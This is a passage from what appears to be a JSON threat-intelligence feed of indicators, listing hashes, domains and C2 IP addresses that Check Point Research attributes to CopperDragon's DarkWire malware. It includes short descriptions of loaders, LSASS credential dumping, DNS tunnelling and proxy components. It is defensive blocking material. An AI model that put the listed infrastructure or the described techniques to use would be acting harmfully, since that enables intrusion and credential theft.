Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "4cafda69af3179ceb4a1f5ed864c501279796254709c86ca236be1cf74a8643f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLoader (ncpmif32.dll) sample, a DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy or CopperLsass, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/4cafda69af3179ceb4a1f5ed864c501279796254709c86ca236be1cf74a8643f/", "name": "MalwareBazaar" } ] }, { "value": "48dcc07d9f87129e937f5ca2ad5ba56975600efb8a7280a170b2aeeff503f595", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLoader (ncpmif32.dll) sample, a DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy or CopperLsass, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "a47279e4ee703092263e7030c43c61533146c00689e7cb8f2080f18e57d5cf7f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLoader (libjpeg-62.dll) sample, a DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy or CopperLsass, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/a47279e4ee703092263e7030c43c61533146c00689e7cb8f2080f18e57d5cf7f/", "name": "MalwareBazaar" } ] }, { "value": "d4e4a3f55b875673cfdb6d0687cc3f8890585210806b03082d11fb4fa40b57de", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLoader (libvlccore.dll) sample, a DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy or CopperLsass, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/d4e4a3f55b875673cfdb6d0687cc3f8890585210806b03082d11fb4fa40b57de/", "name": "MalwareBazaar" } ] }, { "value": "3317789219e9b3e48fbb8f7af23359a37539597fc4d84649086aec71a21553ee", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLoader (libvlc.dll) sample, a DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy or CopperLsass, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "c049e5e03a04cf54f8aa089c65861342d3fb4aa8d6a2b1c9484637c46ddc3882", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLoader (winfsp.dll) sample, a DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy or CopperLsass, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "f01a73f651f8113bf9672dbe4c50c63ed365a41e4187aaf0a5ab34cd21154046", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLoader (winfsp.dll) sample, a DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy or CopperLsass, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "9332f9cd283d69e9a2a2bb71575054cc71c14b6496ac55f7ff43efdcb6d97a01", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLoader (winfsp-x64.dll) sample, a DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy or CopperLsass, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "12b6d5ca7aca7134032721b6feb8e4d5ad75c886fbf8a5889d3d36971a083681", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLoader (libeay32.dll) sample, a DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy or CopperLsass, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "125525a38abc45e855f848d499582a8100f1428938d4bd3d3eba957072e64e7a", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLoader (libeay32.dll) sample, a DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy or CopperLsass, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/125525a38abc45e855f848d499582a8100f1428938d4bd3d3eba957072e64e7a/", "name": "MalwareBazaar" } ] }, { "value": "4b1fea3265492ad1d272428447fb5919bbe3184131b12a0ae84caf3bc442718e", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLoader (zCrashReport64.dll) sample, a DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy or CopperLsass, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "4e50f53b5294a6dbd601fc20a607ae85725162b596119f4867311ef0b3f75a6a", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the Shellcode loader (CopperLoader shellcode version) (DukeQt.dll) sample, a shellcode version of the CopperLoader DLL loader, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "f42461c386834d61780da13760a130ed2ea620627b5eebf97b56237058ea380d", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperSplity (zCrashReport64.dll) sample, a CopperSplit loader with service persistence and a payload keyed to the computer name, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "b7060cf7955a1f1caac2bc3d0918c9b1d9daa315c5d82b329acd3bbddb413948", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperSplity (tempdir.dll) sample, a CopperSplit loader with service persistence and a payload keyed to the computer name, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "cb714decdcabe30008546e6fb71bb28e390c9bd186bf2549aaa8fe5b999200a5", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperSplity Helper (asinteg.dll) sample, a helper DLL for the CopperSplit loader, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "de6a3140797f7c00a48b2068127965c3994f92867466259e69c861880e6ec2d8", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperDoor sample, an in-memory modular CopperDoor backdoor with EDR-evasion techniques, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "d08e09a17df22fb39838dcc9e99756830ef5175bc9e03d615adf979dc85ed052", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperDoor sample, an in-memory modular CopperDoor backdoor with EDR-evasion techniques, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/d08e09a17df22fb39838dcc9e99756830ef5175bc9e03d615adf979dc85ed052/", "name": "MalwareBazaar" } ] }, { "value": "417664cc34360d8519adc7a019408cf8f37f59c95a44e50092d73e38b7889a21", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperDns sample, a CopperDoor variant tunnelling C2 through DNS MX queries, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "fd0861a8269f2bb2fe0adfb4b4610d9675e68474503598f83e87c29b88906f99", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLsass – RPC Lsass injector sample, an in-memory CopperLsass component that injects into LSASS over RPC, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "916a16a4a1eb7393b17574835312725e5cb146995a3cbcdf42fa8b9bebaa51b1", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLsass – Lsass MiniDump (slave.dll) sample, a CopperLsass component that dumps and encrypts LSASS memory, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" }, { "url": "https://bazaar.abuse.ch/sample/916a16a4a1eb7393b17574835312725e5cb146995a3cbcdf42fa8b9bebaa51b1/", "name": "MalwareBazaar" } ] }, { "value": "675a44c679dea8d40b3885c37168929f976e3a0ecacc7e02c6b07936ac58a9fc", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperLsass – Helper (dep.dll) sample, a CopperLsass helper DLL, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "3a1b7ec461d656524e612b228ce969bfa612c799fb7117bb066352ff776d88da", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the CopperProxy sample, an in-memory SOCKS5 proxy for relaying and internal pivoting, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "ee8c148518c5a416fc7d9b33246e9c98d955f2379aa9c82225e045322c97a043", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the PyProxy (sqlmap.exe) sample, a UDP proxy utility deployed during DarkWire operations, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "4f9d9a6cba88832fcb7cfb845472b63ff15cb9b417f4f02cb8086552c19ceffc", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of the SoftEther (vmtoolsd.exe) sample, a SoftEther VPN binary renamed to look like VMware Tools, used for operator access, from the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "seosnskorea.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "amelicen.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "jamvybez.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "artfingo.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "faceorkut.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "aauctioneer.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Domain listed by Check Point Research as infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America).", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.54.57.12", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.54.45.155", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.60.206.85", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.60.209.65", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.60.242.182", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.60.241.65", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "38.60.214.237", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "149.104.87.222", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "156.244.2.26", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "149.104.12.128", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older activity.", "source_url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "source_label": "Check Point Research – Not All That Glitters Is Gold: Tracking CopperDragon's Sparrow Framework Around the Globe", "source_name": "Check Point Research", "sources": [ { "url": "https://research.checkpoint.com/2026/not-all-that-glitters-is-gold-tracking-copperdragons-sparrow-framework-around-the-globe/", "name": "Check Point Research" } ] }, { "value": "181.41.201.244", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IP address listed by Check Point Research as C2 or staging infrastructure of the CopperDragon DarkWire cluster (telecoms and government, mainly Latin America); the report gives no per-address dates, so it may be older 